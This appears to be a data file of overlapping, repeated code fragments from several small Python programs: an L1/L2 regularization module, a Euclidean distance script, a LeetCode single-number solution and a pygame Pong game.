"V, decay: float): return target_symbol(Abs())(ReduceSum())(Mul(),decay) class RegularizationL2(RegularizationLayer): @staticmethod def regularization_term(target_symbol: V, decay: float):",
"regularization_term(target_symbol: V, decay: float): return target_symbol(Abs())(ReduceSum())(Mul(),decay) class RegularizationL2(RegularizationLayer): @staticmethod def regularization_term(target_symbol: V, decay:",
"regularization class Regularization: def __init__(self, name: str, *args, **kwargs): self.__name = name.lower() self.__regularization",
"**kwargs): pass class RegularizationL1(RegularizationLayer): @staticmethod def regularization_term(target_symbol: V, decay: float): return target_symbol(Abs())(ReduceSum())(Mul(),decay) class",
"V,Pow,Mul,ReduceSum,Abs class RegularizationLayer: def regularization_term(self, *args, **kwargs): pass class RegularizationL1(RegularizationLayer): @staticmethod def regularization_term(target_symbol:",
"class Regularization: def __init__(self, name: str, *args, **kwargs): self.__name = name.lower() self.__regularization =",
"return target_symbol(Abs())(ReduceSum())(Mul(),decay) class RegularizationL2(RegularizationLayer): @staticmethod def regularization_term(target_symbol: V, decay: float): return target_symbol(Pow(),2)(ReduceSum())(Pow(),0.5)(Mul(),decay) regularization_l1",
"decay: float): return target_symbol(Pow(),2)(ReduceSum())(Pow(),0.5)(Mul(),decay) regularization_l1 = RegularizationL1.regularization_term regularization_l2 = RegularizationL2.regularization_term regularization_map = {",
"regularization_l2 = RegularizationL2.regularization_term regularization_map = { 'l1': RegularizationL1, 'l2': RegularizationL2, } def register_regularization(name:",
"register_regularization(name: str, regularization: RegularizationLayer): regularization_map[name.lower()] = regularization class Regularization: def __init__(self, name: str,",
"RegularizationL2, } def register_regularization(name: str, regularization: RegularizationLayer): regularization_map[name.lower()] = regularization class Regularization: def",
"RegularizationLayer: def regularization_term(self, *args, **kwargs): pass class RegularizationL1(RegularizationLayer): @staticmethod def regularization_term(target_symbol: V, decay:",
"regularization: RegularizationLayer): regularization_map[name.lower()] = regularization class Regularization: def __init__(self, name: str, *args, **kwargs):",
"'l1': RegularizationL1, 'l2': RegularizationL2, } def register_regularization(name: str, regularization: RegularizationLayer): regularization_map[name.lower()] = regularization",
"def regularization_term(target_symbol: V, decay: float): return target_symbol(Abs())(ReduceSum())(Mul(),decay) class RegularizationL2(RegularizationLayer): @staticmethod def regularization_term(target_symbol: V,",
"regularization_map = { 'l1': RegularizationL1, 'l2': RegularizationL2, } def register_regularization(name: str, regularization: RegularizationLayer):",
"regularization_map[name.lower()] = regularization class Regularization: def __init__(self, name: str, *args, **kwargs): self.__name =",
"V, decay: float): return target_symbol(Pow(),2)(ReduceSum())(Pow(),0.5)(Mul(),decay) regularization_l1 = RegularizationL1.regularization_term regularization_l2 = RegularizationL2.regularization_term regularization_map =",
"*args, **kwargs): pass class RegularizationL1(RegularizationLayer): @staticmethod def regularization_term(target_symbol: V, decay: float): return target_symbol(Abs())(ReduceSum())(Mul(),decay)",
"float): return target_symbol(Pow(),2)(ReduceSum())(Pow(),0.5)(Mul(),decay) regularization_l1 = RegularizationL1.regularization_term regularization_l2 = RegularizationL2.regularization_term regularization_map = { 'l1':",
"regularization_l1 = RegularizationL1.regularization_term regularization_l2 = RegularizationL2.regularization_term regularization_map = { 'l1': RegularizationL1, 'l2': RegularizationL2,",
"= regularization_map[self.__name](*args, **kwargs) else: raise ValueError('No such regularization: {}'.format(name)) def regularization_layer(self): return self.__regularization",
"= regularization class Regularization: def __init__(self, name: str, *args, **kwargs): self.__name = name.lower()",
"regularization_term(self, *args, **kwargs): pass class RegularizationL1(RegularizationLayer): @staticmethod def regularization_term(target_symbol: V, decay: float): return",
"'l2': RegularizationL2, } def register_regularization(name: str, regularization: RegularizationLayer): regularization_map[name.lower()] = regularization class Regularization:",
"= RegularizationL1.regularization_term regularization_l2 = RegularizationL2.regularization_term regularization_map = { 'l1': RegularizationL1, 'l2': RegularizationL2, }",
"= { 'l1': RegularizationL1, 'l2': RegularizationL2, } def register_regularization(name: str, regularization: RegularizationLayer): regularization_map[name.lower()]",
"None if self.__name in regularization_map: self.__regularization = regularization_map[self.__name](*args, **kwargs) else: raise ValueError('No such",
"self.__name in regularization_map: self.__regularization = regularization_map[self.__name](*args, **kwargs) else: raise ValueError('No such regularization: {}'.format(name))",
"in regularization_map: self.__regularization = regularization_map[self.__name](*args, **kwargs) else: raise ValueError('No such regularization: {}'.format(name)) def",
"self.__regularization = regularization_map[self.__name](*args, **kwargs) else: raise ValueError('No such regularization: {}'.format(name)) def regularization_layer(self): return",
"def register_regularization(name: str, regularization: RegularizationLayer): regularization_map[name.lower()] = regularization class Regularization: def __init__(self, name:",
"__init__(self, name: str, *args, **kwargs): self.__name = name.lower() self.__regularization = None if self.__name",
"target_symbol(Abs())(ReduceSum())(Mul(),decay) class RegularizationL2(RegularizationLayer): @staticmethod def regularization_term(target_symbol: V, decay: float): return target_symbol(Pow(),2)(ReduceSum())(Pow(),0.5)(Mul(),decay) regularization_l1 =",
"Regularization: def __init__(self, name: str, *args, **kwargs): self.__name = name.lower() self.__regularization = None",
"RegularizationL1.regularization_term regularization_l2 = RegularizationL2.regularization_term regularization_map = { 'l1': RegularizationL1, 'l2': RegularizationL2, } def",
"def __init__(self, name: str, *args, **kwargs): self.__name = name.lower() self.__regularization = None if",
"..sheng import V,Pow,Mul,ReduceSum,Abs class RegularizationLayer: def regularization_term(self, *args, **kwargs): pass class RegularizationL1(RegularizationLayer): @staticmethod",
"{ 'l1': RegularizationL1, 'l2': RegularizationL2, } def register_regularization(name: str, regularization: RegularizationLayer): regularization_map[name.lower()] =",
"@staticmethod def regularization_term(target_symbol: V, decay: float): return target_symbol(Abs())(ReduceSum())(Mul(),decay) class RegularizationL2(RegularizationLayer): @staticmethod def regularization_term(target_symbol:",
"name: str, *args, **kwargs): self.__name = name.lower() self.__regularization = None if self.__name in"
] |
[
"d.append(compute_distance(x1,y1,x2,y2)) for i in range(0,T): print(\"Distance: %.2f\" %d[i]) if __name__=='__main__': try: main() except:",
"should be precise up to 2 decimal places. from math import sqrt def",
"compute_distance(x1, y1, x2, y2): distance = sqrt((x2-x1)**2 + (y2-y1)**2) return distance def main():",
"up to 2 decimal places. from math import sqrt def compute_distance(x1, y1, x2,",
"x2, y2) = map(int, input().split(\" \")) d.append(compute_distance(x1,y1,x2,y2)) for i in range(0,T): print(\"Distance: %.2f\"",
"x-coordinates #and y1, y2 are y-coordinates of the points. #Your task is to",
"2 points (x1,y1) and (x2,y2), where x1, x2 are x-coordinates #and y1, y2",
"to 2 decimal places. from math import sqrt def compute_distance(x1, y1, x2, y2):",
"y2 are y-coordinates of the points. #Your task is to compute the Euclidean",
"+ (y2-y1)**2) return distance def main(): T = int(input()) d = [] for",
"be precise up to 2 decimal places. from math import sqrt def compute_distance(x1,",
"are y-coordinates of the points. #Your task is to compute the Euclidean distance",
"task is to compute the Euclidean distance between them. #The distance computed should",
"map(int, input().split(\" \")) d.append(compute_distance(x1,y1,x2,y2)) for i in range(0,T): print(\"Distance: %.2f\" %d[i]) if __name__=='__main__':",
"the Euclidean distance between them. #The distance computed should be precise up to",
"y1, x2, y2) = map(int, input().split(\" \")) d.append(compute_distance(x1,y1,x2,y2)) for i in range(0,T): print(\"Distance:",
"them. #The distance computed should be precise up to 2 decimal places. from",
"to compute the Euclidean distance between them. #The distance computed should be precise",
"points. #Your task is to compute the Euclidean distance between them. #The distance",
"#Given 2 points (x1,y1) and (x2,y2), where x1, x2 are x-coordinates #and y1,",
"points (x1,y1) and (x2,y2), where x1, x2 are x-coordinates #and y1, y2 are",
"\")) d.append(compute_distance(x1,y1,x2,y2)) for i in range(0,T): print(\"Distance: %.2f\" %d[i]) if __name__=='__main__': try: main()",
"import sqrt def compute_distance(x1, y1, x2, y2): distance = sqrt((x2-x1)**2 + (y2-y1)**2) return",
"#and y1, y2 are y-coordinates of the points. #Your task is to compute",
"(x2,y2), where x1, x2 are x-coordinates #and y1, y2 are y-coordinates of the",
"distance = sqrt((x2-x1)**2 + (y2-y1)**2) return distance def main(): T = int(input()) d",
"sqrt def compute_distance(x1, y1, x2, y2): distance = sqrt((x2-x1)**2 + (y2-y1)**2) return distance",
"y-coordinates of the points. #Your task is to compute the Euclidean distance between",
"computed should be precise up to 2 decimal places. from math import sqrt",
"distance between them. #The distance computed should be precise up to 2 decimal",
"= map(int, input().split(\" \")) d.append(compute_distance(x1,y1,x2,y2)) for i in range(0,T): print(\"Distance: %.2f\" %d[i]) if",
"int(input()) d = [] for i in range(0,T): (x1, y1, x2, y2) =",
"the points. #Your task is to compute the Euclidean distance between them. #The",
"y1, x2, y2): distance = sqrt((x2-x1)**2 + (y2-y1)**2) return distance def main(): T",
"= sqrt((x2-x1)**2 + (y2-y1)**2) return distance def main(): T = int(input()) d =",
"is to compute the Euclidean distance between them. #The distance computed should be",
"def compute_distance(x1, y1, x2, y2): distance = sqrt((x2-x1)**2 + (y2-y1)**2) return distance def",
"range(0,T): (x1, y1, x2, y2) = map(int, input().split(\" \")) d.append(compute_distance(x1,y1,x2,y2)) for i in",
"compute the Euclidean distance between them. #The distance computed should be precise up",
"i in range(0,T): (x1, y1, x2, y2) = map(int, input().split(\" \")) d.append(compute_distance(x1,y1,x2,y2)) for",
"x1, x2 are x-coordinates #and y1, y2 are y-coordinates of the points. #Your",
"x2 are x-coordinates #and y1, y2 are y-coordinates of the points. #Your task",
"y1, y2 are y-coordinates of the points. #Your task is to compute the",
"y2) = map(int, input().split(\" \")) d.append(compute_distance(x1,y1,x2,y2)) for i in range(0,T): print(\"Distance: %.2f\" %d[i])",
"places. from math import sqrt def compute_distance(x1, y1, x2, y2): distance = sqrt((x2-x1)**2",
"for i in range(0,T): (x1, y1, x2, y2) = map(int, input().split(\" \")) d.append(compute_distance(x1,y1,x2,y2))",
"def main(): T = int(input()) d = [] for i in range(0,T): (x1,",
"[] for i in range(0,T): (x1, y1, x2, y2) = map(int, input().split(\" \"))",
"distance def main(): T = int(input()) d = [] for i in range(0,T):",
"x2, y2): distance = sqrt((x2-x1)**2 + (y2-y1)**2) return distance def main(): T =",
"precise up to 2 decimal places. from math import sqrt def compute_distance(x1, y1,",
"#Your task is to compute the Euclidean distance between them. #The distance computed",
"main(): T = int(input()) d = [] for i in range(0,T): (x1, y1,",
"#The distance computed should be precise up to 2 decimal places. from math",
"sqrt((x2-x1)**2 + (y2-y1)**2) return distance def main(): T = int(input()) d = []",
"of the points. #Your task is to compute the Euclidean distance between them.",
"2 decimal places. from math import sqrt def compute_distance(x1, y1, x2, y2): distance",
"math import sqrt def compute_distance(x1, y1, x2, y2): distance = sqrt((x2-x1)**2 + (y2-y1)**2)",
"(x1,y1) and (x2,y2), where x1, x2 are x-coordinates #and y1, y2 are y-coordinates",
"= [] for i in range(0,T): (x1, y1, x2, y2) = map(int, input().split(\"",
"for i in range(0,T): print(\"Distance: %.2f\" %d[i]) if __name__=='__main__': try: main() except: pass",
"distance computed should be precise up to 2 decimal places. from math import",
"Euclidean distance between them. #The distance computed should be precise up to 2",
"= int(input()) d = [] for i in range(0,T): (x1, y1, x2, y2)",
"and (x2,y2), where x1, x2 are x-coordinates #and y1, y2 are y-coordinates of",
"y2): distance = sqrt((x2-x1)**2 + (y2-y1)**2) return distance def main(): T = int(input())",
"(y2-y1)**2) return distance def main(): T = int(input()) d = [] for i",
"where x1, x2 are x-coordinates #and y1, y2 are y-coordinates of the points.",
"in range(0,T): (x1, y1, x2, y2) = map(int, input().split(\" \")) d.append(compute_distance(x1,y1,x2,y2)) for i",
"input().split(\" \")) d.append(compute_distance(x1,y1,x2,y2)) for i in range(0,T): print(\"Distance: %.2f\" %d[i]) if __name__=='__main__': try:",
"between them. #The distance computed should be precise up to 2 decimal places.",
"are x-coordinates #and y1, y2 are y-coordinates of the points. #Your task is",
"return distance def main(): T = int(input()) d = [] for i in",
"decimal places. from math import sqrt def compute_distance(x1, y1, x2, y2): distance =",
"T = int(input()) d = [] for i in range(0,T): (x1, y1, x2,",
"(x1, y1, x2, y2) = map(int, input().split(\" \")) d.append(compute_distance(x1,y1,x2,y2)) for i in range(0,T):",
"d = [] for i in range(0,T): (x1, y1, x2, y2) = map(int,",
"from math import sqrt def compute_distance(x1, y1, x2, y2): distance = sqrt((x2-x1)**2 +"
] |
[
"Solution: def singleNumber(self, nums: List[int]) -> int: res = nums[0] for i in",
"# from __future__ import annotations # @lc code=start class Solution: def singleNumber(self, nums:",
"[136] Single Number # from __future__ import annotations # @lc code=start class Solution:",
"res ^= i return res tests = [ ([2,2,1], 1), ([4,1,2,1,2], 4) ]",
"Single Number # from __future__ import annotations # @lc code=start class Solution: def",
"id=136 lang=python3 # # [136] Single Number # from __future__ import annotations #",
"# # @lc app=leetcode id=136 lang=python3 # # [136] Single Number # from",
"# @lc app=leetcode id=136 lang=python3 # # [136] Single Number # from __future__",
"app=leetcode id=136 lang=python3 # # [136] Single Number # from __future__ import annotations",
"Number # from __future__ import annotations # @lc code=start class Solution: def singleNumber(self,",
"nums: List[int]) -> int: res = nums[0] for i in nums[1:]: res ^=",
"@lc code=start class Solution: def singleNumber(self, nums: List[int]) -> int: res = nums[0]",
"code=start class Solution: def singleNumber(self, nums: List[int]) -> int: res = nums[0] for",
"^= i return res tests = [ ([2,2,1], 1), ([4,1,2,1,2], 4) ] #",
"# # [136] Single Number # from __future__ import annotations # @lc code=start",
"= nums[0] for i in nums[1:]: res ^= i return res tests =",
"@lc app=leetcode id=136 lang=python3 # # [136] Single Number # from __future__ import",
"-> int: res = nums[0] for i in nums[1:]: res ^= i return",
"# @lc code=start class Solution: def singleNumber(self, nums: List[int]) -> int: res =",
"List[int]) -> int: res = nums[0] for i in nums[1:]: res ^= i",
"def singleNumber(self, nums: List[int]) -> int: res = nums[0] for i in nums[1:]:",
"import annotations # @lc code=start class Solution: def singleNumber(self, nums: List[int]) -> int:",
"i return res tests = [ ([2,2,1], 1), ([4,1,2,1,2], 4) ] # @lc",
"for i in nums[1:]: res ^= i return res tests = [ ([2,2,1],",
"nums[1:]: res ^= i return res tests = [ ([2,2,1], 1), ([4,1,2,1,2], 4)",
"in nums[1:]: res ^= i return res tests = [ ([2,2,1], 1), ([4,1,2,1,2],",
"__future__ import annotations # @lc code=start class Solution: def singleNumber(self, nums: List[int]) ->",
"nums[0] for i in nums[1:]: res ^= i return res tests = [",
"from __future__ import annotations # @lc code=start class Solution: def singleNumber(self, nums: List[int])",
"int: res = nums[0] for i in nums[1:]: res ^= i return res",
"# [136] Single Number # from __future__ import annotations # @lc code=start class",
"class Solution: def singleNumber(self, nums: List[int]) -> int: res = nums[0] for i",
"i in nums[1:]: res ^= i return res tests = [ ([2,2,1], 1),",
"singleNumber(self, nums: List[int]) -> int: res = nums[0] for i in nums[1:]: res",
"return res tests = [ ([2,2,1], 1), ([4,1,2,1,2], 4) ] # @lc code=end",
"lang=python3 # # [136] Single Number # from __future__ import annotations # @lc",
"annotations # @lc code=start class Solution: def singleNumber(self, nums: List[int]) -> int: res",
"res = nums[0] for i in nums[1:]: res ^= i return res tests"
] |
[] |
[
"player_score += 1 score_time = pygame.time.get_ticks() elif ball.right >= screen_width: pygame.mixer.Sound.play(score_sound) opponent_score +=",
"the event is quit if event.type == pygame.QUIT: # using both of these",
"is closed reliably pygame.quit() # sys exit closes the entire program sys.exit() if",
"ball.colliderect(player) and ball_speed[0] > 0: pygame.mixer.Sound.play(pong_sound) if abs(ball.right - player.left) < 10: ball_speed[0]",
"game_font.render(f\"{player_score}\", True, light_grey) screen.blit(player_text, (660, 470)) opponent_text = game_font.render(f\"{opponent_score}\", True, light_grey) screen.blit(opponent_text, (600,",
"= 0 if player.bottom >= screen_height: player.bottom = screen_height def opponent_animation(): if opponent.top",
"that it is closed reliably pygame.quit() # sys exit closes the entire program",
"pygame.draw.rect(screen,light_grey,opponent) pygame.draw.ellipse(screen, light_grey, ball) # to draw a line <screen>, <color> <x1,y1> <x2,y2>",
"(7 * random.choice((1,-1)), 7 * random.choice((1,-1))) score_time = None # score variables player_score",
"# checks for boundaries if opponent.top <= 0: opponent.top = 0 if opponent.bottom",
"7 if event.key == pygame.K_UP: player_speed += 7 ball_animation() player_animation() opponent_animation() # background",
"+= 7 ball_animation() player_animation() opponent_animation() # background color screen.fill((0,0,0)) # draws the players",
"= ball_speed[0] * -1 elif abs(ball.bottom - player.top) < 10 and ball_speed[1] >",
"score_time ball.center = (screen_width/2, screen_height/2) current_time = pygame.time.get_ticks() if current_time - score_time <",
"starts pygame pygame.mixer.pre_init(44100, -16, 2, 512) pygame.init() clock = pygame.time.Clock() # main window",
"30, 30) player = pygame.Rect(screen_width - 20, screen_height/2 - 70, 10,140) opponent =",
"= True # Sound pong_sound = pygame.mixer.Sound(\"./pygame/pong.ogg\") score_sound = pygame.mixer.Sound(\"./pygame/score.ogg\") while True: #",
"# draws the score player_text = game_font.render(f\"{player_score}\", True, light_grey) screen.blit(player_text, (660, 470)) opponent_text",
"ball.right >= screen_width: pygame.mixer.Sound.play(score_sound) opponent_score += 1 score_time = pygame.time.get_ticks() if ball.colliderect(player) and",
"for boundaries if opponent.top <= 0: opponent.top = 0 if opponent.bottom >= screen_height:",
"opponent_speed # checks for boundaries if opponent.top <= 0: opponent.top = 0 if",
"event.key == pygame.K_DOWN: player_speed += 7 if event.key == pygame.K_UP: player_speed -= 7",
"random.choice((1,-1))] player_speed = 0 opponent_speed = 7 def ball_animation(): global ball_speed, player_score, opponent_score,",
"the picture from everything in the loop pygame.display.flip() # this limits how fast",
"- 10, screen_height/2 + 20)) elif 700 < current_time - score_time < 1400:",
"abs(ball.top - oppponent.bottom) < 10 and ball_speed[1] < 0: ball_speed[1] *= -1 def",
"70, 10, 140) # color variable light_grey = (200,200,200) ball_speed = [7 *",
"score_time < 1400: number_two = game_font.render(\"2\", True, light_grey) screen.blit(number_two, (screen_width/2 - 10, screen_height/2",
"the players and the ball pygame.draw.rect(screen,light_grey,player) pygame.draw.rect(screen,light_grey,opponent) pygame.draw.ellipse(screen, light_grey, ball) # to draw",
"* random.choice((1,-1)), 7 * random.choice((1,-1))) score_time = None # score variables player_score =",
".flip draws the picture from everything in the loop pygame.display.flip() # this limits",
"< 10: ball_speed[0] = ball_speed[0] * -1 elif abs(ball.bottom - player.top) < 10",
"-1 elif abs(ball.top - player.bottom) < 10 and ball_speed[1] < 0: ball_speed[1] *=",
"<= 0 or ball.bottom >= screen_height: pygame.mixer.Sound.play(pong_sound) ball_speed[1] = ball_speed[1] * -1 if",
"using both of these ensures that it is closed reliably pygame.quit() # sys",
"0 # text variables game_font = pygame.font.Font(\"freesansbold.ttf\", 32) # Score timer score_time =",
"screen.blit(number_two, (screen_width/2 - 10, screen_height/2 + 20)) elif 1400 < current_time - score_time",
"== pygame.K_UP: player_speed -= 7 if event.type == pygame.KEYUP: if event.key == pygame.K_DOWN:",
"event is quit if event.type == pygame.QUIT: # using both of these ensures",
"players and the ball pygame.draw.rect(screen,light_grey,player) pygame.draw.rect(screen,light_grey,opponent) pygame.draw.ellipse(screen, light_grey, ball) # to draw a",
"pygame.font.Font(\"freesansbold.ttf\", 32) # Score timer score_time = True # Sound pong_sound = pygame.mixer.Sound(\"./pygame/pong.ogg\")",
"line <screen>, <color> <x1,y1> <x2,y2> pygame.draw.aaline(screen, light_grey, (screen_width/2, 0), (screen_width/2,screen_height)) if score_time: ball_restart()",
"# this is based off of a tutorial from https://www.youtube.com/watch?v=Qf3-aDXG8q4 # starts pygame",
"display its title pygame.display.set_caption(\"Pong\") # game rectangles ball = pygame.Rect(screen_width/2 - 15, screen_height/2",
"screen.blit(player_text, (660, 470)) opponent_text = game_font.render(f\"{opponent_score}\", True, light_grey) screen.blit(opponent_text, (600, 470)) # .flip",
"player.top = 0 if player.bottom >= screen_height: player.bottom = screen_height def opponent_animation(): if",
"0] else: ball_speed = (7 * random.choice((1,-1)), 7 * random.choice((1,-1))) score_time = None",
"ball.y += ball_speed[1] ball_speed = list(ball_speed) # this changes the direction upon collision",
"if ball.colliderect(player) and ball_speed[0] > 0: pygame.mixer.Sound.play(pong_sound) if abs(ball.right - player.left) < 10:",
"* -1 elif abs(ball.bottom - opponent.top) < 10 and ball_speed[1] > 0: ball_speed[1]",
"pygame.display.set_caption(\"Pong\") # game rectangles ball = pygame.Rect(screen_width/2 - 15, screen_height/2 - 15, 30,",
"ball_speed[0] > 0: pygame.mixer.Sound.play(pong_sound) if abs(ball.right - player.left) < 10: ball_speed[0] = ball_speed[0]",
"score_time: ball_restart() # draws the score player_text = game_font.render(f\"{player_score}\", True, light_grey) screen.blit(player_text, (660,",
"import pygame, random, sys # this is based off of a tutorial from",
"elif abs(ball.top - player.bottom) < 10 and ball_speed[1] < 0: ball_speed[1] *= -1",
"== pygame.K_DOWN: player_speed -= 7 if event.key == pygame.K_UP: player_speed += 7 ball_animation()",
"1400 < current_time - score_time < 2100: number_one = game_font.render(\"1\", True, light_grey) screen.blit(number_one,",
"reliably pygame.quit() # sys exit closes the entire program sys.exit() if event.type ==",
"ball = pygame.Rect(screen_width/2 - 15, screen_height/2 - 15, 30, 30) player = pygame.Rect(screen_width",
"if opponent.bottom >= screen_height: opponent.bottom = screen_height def ball_restart(): global ball_speed, score_time ball.center",
"pygame.mixer.Sound.play(pong_sound) ball_speed[1] = ball_speed[1] * -1 if ball.left <= 0: pygame.mixer.Sound.play(score_sound) player_score +=",
"based off of a tutorial from https://www.youtube.com/watch?v=Qf3-aDXG8q4 # starts pygame pygame.mixer.pre_init(44100, -16, 2,",
"light_grey) screen.blit(opponent_text, (600, 470)) # .flip draws the picture from everything in the",
"<= 0: player.top = 0 if player.bottom >= screen_height: player.bottom = screen_height def",
"pygame.mixer.Sound.play(pong_sound) if abs(ball.left - opponent.right) < 10: ball_speed[0] = ball_speed[0] * -1 elif",
"0 if opponent.bottom >= screen_height: opponent.bottom = screen_height def ball_restart(): global ball_speed, score_time",
"(600, 470)) # .flip draws the picture from everything in the loop pygame.display.flip()",
"and ball_speed[0] > 0: pygame.mixer.Sound.play(pong_sound) if abs(ball.right - player.left) < 10: ball_speed[0] =",
"score_time = pygame.time.get_ticks() if ball.colliderect(player) and ball_speed[0] > 0: pygame.mixer.Sound.play(pong_sound) if abs(ball.right -",
"pygame.mixer.Sound(\"./pygame/pong.ogg\") score_sound = pygame.mixer.Sound(\"./pygame/score.ogg\") while True: # handles input for event in pygame.event.get():",
"current_time - score_time < 1400: number_two = game_font.render(\"2\", True, light_grey) screen.blit(number_two, (screen_width/2 -",
"== pygame.QUIT: # using both of these ensures that it is closed reliably",
"number_two = game_font.render(\"2\", True, light_grey) screen.blit(number_two, (screen_width/2 - 10, screen_height/2 + 20)) elif",
"# .flip draws the picture from everything in the loop pygame.display.flip() # this",
"checks for boundaries if player.top <= 0: player.top = 0 if player.bottom >=",
"score_time < 2100: ball_speed = [0, 0] else: ball_speed = (7 * random.choice((1,-1)),",
"color screen.fill((0,0,0)) # draws the players and the ball pygame.draw.rect(screen,light_grey,player) pygame.draw.rect(screen,light_grey,opponent) pygame.draw.ellipse(screen, light_grey,",
"7 ball_animation() player_animation() opponent_animation() # background color screen.fill((0,0,0)) # draws the players and",
"if the event is quit if event.type == pygame.QUIT: # using both of",
"screen_height/2 + 20)) elif 1400 < current_time - score_time < 2100: number_one =",
"(screen_width/2 - 10, screen_height/2 + 20)) if current_time - score_time < 2100: ball_speed",
"0: ball_speed[1] *= -1 def player_animation(): # moving of the players player.y +=",
"2100: ball_speed = [0, 0] else: ball_speed = (7 * random.choice((1,-1)), 7 *",
"ball_speed[1] > 0: ball_speed[1] *= -1 elif abs(ball.top - player.bottom) < 10 and",
"10, screen_height/2 + 20)) elif 1400 < current_time - score_time < 2100: number_one",
"pygame.QUIT: # using both of these ensures that it is closed reliably pygame.quit()",
"# this changes the direction upon collision if ball.top <= 0 or ball.bottom",
"opponent_text = game_font.render(f\"{opponent_score}\", True, light_grey) screen.blit(opponent_text, (600, 470)) # .flip draws the picture",
"gives the display its title pygame.display.set_caption(\"Pong\") # game rectangles ball = pygame.Rect(screen_width/2 -",
"ball pygame.draw.rect(screen,light_grey,player) pygame.draw.rect(screen,light_grey,opponent) pygame.draw.ellipse(screen, light_grey, ball) # to draw a line <screen>, <color>",
"1 score_time = pygame.time.get_ticks() elif ball.right >= screen_width: pygame.mixer.Sound.play(score_sound) opponent_score += 1 score_time",
"player_speed += 7 if event.key == pygame.K_UP: player_speed -= 7 if event.type ==",
"ensures that it is closed reliably pygame.quit() # sys exit closes the entire",
"screen_height: pygame.mixer.Sound.play(pong_sound) ball_speed[1] = ball_speed[1] * -1 if ball.left <= 0: pygame.mixer.Sound.play(score_sound) player_score",
"closed reliably pygame.quit() # sys exit closes the entire program sys.exit() if event.type",
"pygame.draw.ellipse(screen, light_grey, ball) # to draw a line <screen>, <color> <x1,y1> <x2,y2> pygame.draw.aaline(screen,",
"2, 512) pygame.init() clock = pygame.time.Clock() # main window screen_width = 1280 screen_height",
"-1 elif ball.colliderect(opponent) and ball_speed[0] < 0: pygame.mixer.Sound.play(pong_sound) if abs(ball.left - opponent.right) <",
"> 0: ball_speed[1] *= -1 elif abs(ball.top - oppponent.bottom) < 10 and ball_speed[1]",
">= screen_height: player.bottom = screen_height def opponent_animation(): if opponent.top < ball.y: opponent.top +=",
"pygame.KEYUP: if event.key == pygame.K_DOWN: player_speed -= 7 if event.key == pygame.K_UP: player_speed",
"number_three = game_font.render(\"3\", True, light_grey) screen.blit(number_three, (screen_width/2 - 10, screen_height/2 + 20)) elif",
"event.key == pygame.K_DOWN: player_speed -= 7 if event.key == pygame.K_UP: player_speed += 7",
"upon collision if ball.top <= 0 or ball.bottom >= screen_height: pygame.mixer.Sound.play(pong_sound) ball_speed[1] =",
"abs(ball.bottom - player.top) < 10 and ball_speed[1] > 0: ball_speed[1] *= -1 elif",
"# starts pygame pygame.mixer.pre_init(44100, -16, 2, 512) pygame.init() clock = pygame.time.Clock() # main",
"= pygame.mixer.Sound(\"./pygame/score.ogg\") while True: # handles input for event in pygame.event.get(): # checks",
"10 and ball_speed[1] < 0: ball_speed[1] *= -1 elif ball.colliderect(opponent) and ball_speed[0] <",
"= 0 if opponent.bottom >= screen_height: opponent.bottom = screen_height def ball_restart(): global ball_speed,",
"player_animation() opponent_animation() # background color screen.fill((0,0,0)) # draws the players and the ball",
"= game_font.render(\"2\", True, light_grey) screen.blit(number_two, (screen_width/2 - 10, screen_height/2 + 20)) elif 1400",
"from everything in the loop pygame.display.flip() # this limits how fast the loop",
"changes ball speed ball.x += ball_speed[0] ball.y += ball_speed[1] ball_speed = list(ball_speed) #",
"oppponent.bottom) < 10 and ball_speed[1] < 0: ball_speed[1] *= -1 def player_animation(): #",
"clock = pygame.time.Clock() # main window screen_width = 1280 screen_height = 960 screen",
"= ball_speed[1] * -1 if ball.left <= 0: pygame.mixer.Sound.play(score_sound) player_score += 1 score_time",
"opponent_speed if opponent.bottom > ball.y: opponent.bottom -= opponent_speed # checks for boundaries if",
"700: number_three = game_font.render(\"3\", True, light_grey) screen.blit(number_three, (screen_width/2 - 10, screen_height/2 + 20))",
"= 0 # text variables game_font = pygame.font.Font(\"freesansbold.ttf\", 32) # Score timer score_time",
"opponent_animation(): if opponent.top < ball.y: opponent.top += opponent_speed if opponent.bottom > ball.y: opponent.bottom",
"random.choice((1,-1))) score_time = None # score variables player_score = 0 opponent_score = 0",
"(screen_width/2,screen_height)) if score_time: ball_restart() # draws the score player_text = game_font.render(f\"{player_score}\", True, light_grey)",
"opponent_score += 1 score_time = pygame.time.get_ticks() if ball.colliderect(player) and ball_speed[0] > 0: pygame.mixer.Sound.play(pong_sound)",
"<screen>, <color> <x1,y1> <x2,y2> pygame.draw.aaline(screen, light_grey, (screen_width/2, 0), (screen_width/2,screen_height)) if score_time: ball_restart() #",
"- player.top) < 10 and ball_speed[1] > 0: ball_speed[1] *= -1 elif abs(ball.top",
"# Score timer score_time = True # Sound pong_sound = pygame.mixer.Sound(\"./pygame/pong.ogg\") score_sound =",
"-1 elif abs(ball.top - oppponent.bottom) < 10 and ball_speed[1] < 0: ball_speed[1] *=",
"# changes ball speed ball.x += ball_speed[0] ball.y += ball_speed[1] ball_speed = list(ball_speed)",
"- score_time < 2100: number_one = game_font.render(\"1\", True, light_grey) screen.blit(number_one, (screen_width/2 - 10,",
"20)) elif 1400 < current_time - score_time < 2100: number_one = game_font.render(\"1\", True,",
"in pygame.event.get(): # checks if the event is quit if event.type == pygame.QUIT:",
"= [7 * random.choice((1,-1)), 7 * random.choice((1,-1))] player_speed = 0 opponent_speed = 7",
"< 700: number_three = game_font.render(\"3\", True, light_grey) screen.blit(number_three, (screen_width/2 - 10, screen_height/2 +",
"player.top) < 10 and ball_speed[1] > 0: ball_speed[1] *= -1 elif abs(ball.top -",
"ball_speed[0] ball.y += ball_speed[1] ball_speed = list(ball_speed) # this changes the direction upon",
"if event.key == pygame.K_UP: player_speed -= 7 if event.type == pygame.KEYUP: if event.key",
"screen.fill((0,0,0)) # draws the players and the ball pygame.draw.rect(screen,light_grey,player) pygame.draw.rect(screen,light_grey,opponent) pygame.draw.ellipse(screen, light_grey, ball)",
"Sound pong_sound = pygame.mixer.Sound(\"./pygame/pong.ogg\") score_sound = pygame.mixer.Sound(\"./pygame/score.ogg\") while True: # handles input for",
"ball_speed[1] * -1 if ball.left <= 0: pygame.mixer.Sound.play(score_sound) player_score += 1 score_time =",
"ball_speed[1] *= -1 elif abs(ball.top - player.bottom) < 10 and ball_speed[1] < 0:",
"opponent.bottom > ball.y: opponent.bottom -= opponent_speed # checks for boundaries if opponent.top <=",
"random, sys # this is based off of a tutorial from https://www.youtube.com/watch?v=Qf3-aDXG8q4 #",
"direction upon collision if ball.top <= 0 or ball.bottom >= screen_height: pygame.mixer.Sound.play(pong_sound) ball_speed[1]",
